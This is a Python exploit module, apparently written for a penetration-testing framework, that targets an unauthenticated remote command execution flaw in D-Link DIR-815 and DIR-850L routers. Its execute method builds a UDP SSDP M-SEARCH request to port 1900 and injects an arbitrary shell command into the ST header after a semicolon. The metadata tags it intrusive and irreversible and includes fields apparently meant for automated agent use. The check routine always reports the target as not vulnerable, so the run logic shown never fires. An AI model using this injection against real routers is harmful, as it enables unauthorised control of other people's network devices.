D-Link DIR-815 & DIR-850L RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DIR-815 & DIR-850L RCE"""

import socket

from kittysploit import *
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        'name': 'D-Link DIR-815 & DIR-850L RCE',
        'description': 'Module exploits D-Link DIR-815 and DIR-850L Remote Code Execution vulnerability which allows executing command on the device.',
        'author': ['Samuel Huntley', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/38715/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(1900, "Target UPNP port")

    def execute(self, cmd):
        request = (
            "M-SEARCH * HTTP/1.1\r\n" +
            "HOST:{}:{}\r\n".format(self.target, self.port) +
            "ST:urn:schemas-upnp-org:service:WANIPConnection:1;{};ls\r\n".format(cmd) +
            "MX:2\r\n" +
            "MAN:\"ssdp:discover\"\r\n\r\n"
        )

        request = bytes(request, "utf-8")

        udp_client = _udp_socket(self)
        udp_client.send(request)
        udp_client.close()

        return ""
    def check(self):
        return {"vulnerable": False, "reason": "Unable to verify", "confidence": "low"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()